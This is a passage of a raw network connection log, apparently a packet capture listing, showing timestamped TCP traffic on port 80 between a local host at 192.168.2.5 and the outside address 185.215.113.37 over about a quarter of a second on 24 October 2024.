Oct 24, 2024 11:02:28.878989935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879003048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879003048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879055977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879081011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879149914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879160881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879162073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879173040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879183054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879194021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879201889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879214048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879225016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879235029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879235983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879245043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879265070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879276037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879287958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879334927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879400969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879415989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879426956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879437923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879472017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879475117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879483938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879492998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879496098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879515886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879535913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879535913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879566908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879578114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879590034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879668951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879672050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879679918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879689932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.879712105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.879916906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.919382095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.919398069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.919410944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.919420958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.919687033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.996994019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997006893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997014046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997071981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997083902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997093916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997113943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997112036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997136116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997159004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997160912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997174025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997183084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997185946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997195005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997205019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997205973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997215033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997216940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997276068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997276068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997555017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997566938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997577906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997590065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997596979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997610092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997622013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997622013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997622967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997643948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997662067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997662067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997667074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997678041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997790098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997802973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997813940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997818947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997824907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997844934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997853041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997863054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997874975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997874975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997885942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997895956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997898102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997909069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997919083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.997920990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.997945070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998065948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998076916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998087883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998089075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998097897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998110056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998110056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998120070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998121023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998131037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998142004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998150110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998152971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998171091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998188019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998195887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998195887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998199940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998212099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998222113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998327971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998331070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998342037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998353004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998363018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998373032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998393059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998430967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998441935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998451948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998455048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998464108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998471022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998478889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998490095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998497963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998509884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998521090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998531103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998533010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998533010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998601913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998613119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998622894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998624086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998639107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998662949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998662949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998696089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998756886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998768091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998781919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998794079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998804092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998807907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998815060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998825073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998836040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998836994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998847008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998892069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998892069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.998971939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.998999119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999007940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999020100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999129057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999195099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999206066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999216080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999238968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999305010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999321938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999325037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999334097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999341965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999345064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999366045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999419928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999430895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999442101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999443054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999485016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999571085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999593019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999603987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999614000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999619961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999631882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999653101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999686003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999697924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999708891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999708891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999715090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999727011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999728918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999753952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999788046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.999967098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999977112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999985933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999991894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.999998093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.000057936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.000057936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.000062943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.000122070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.000174046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.001533031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.038800955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.038815022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.038825989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.038916111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.128909111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.128937960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.128951073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.128963947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.128974915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.128985882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129040956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129046917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129046917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129053116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129064083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129072905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129085064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129092932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129102945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129131079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129143953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129159927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129174948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129185915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129194975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129196882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129219055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129304886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129317045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129328012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129339933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129365921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129365921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129373074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129384041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129395008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129405022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129412889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129412889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129415989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129451990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129451990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129466057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129477024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129487991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129561901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129575014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129585028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129589081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129597902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129607916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129677057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129704952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129717112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129726887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129736900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129746914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129748106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129756927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129767895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129776001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129779100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129828930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129828930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129857063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129873037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129884958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129894972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129904032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129921913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129921913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129935026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129945040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129951954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129956007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.129973888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129975080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.129982948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130012989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130040884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130050898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130062103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130073071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130095005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130106926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130117893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130129099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130130053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130130053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130153894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130153894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130283117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130297899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130307913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130311012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130321026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130331039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130342960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130342960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130354881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130364895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130364895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130377054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130384922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130429983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130429983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130458117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130469084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130479097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130491972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130502939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130513906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130526066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130597115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130609035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130619049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130620956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130629063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130635977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130640030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130651951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130660057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:29.130661964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:29.130673885 CEST	80	49704	185.215.113.37	192.168.2.5
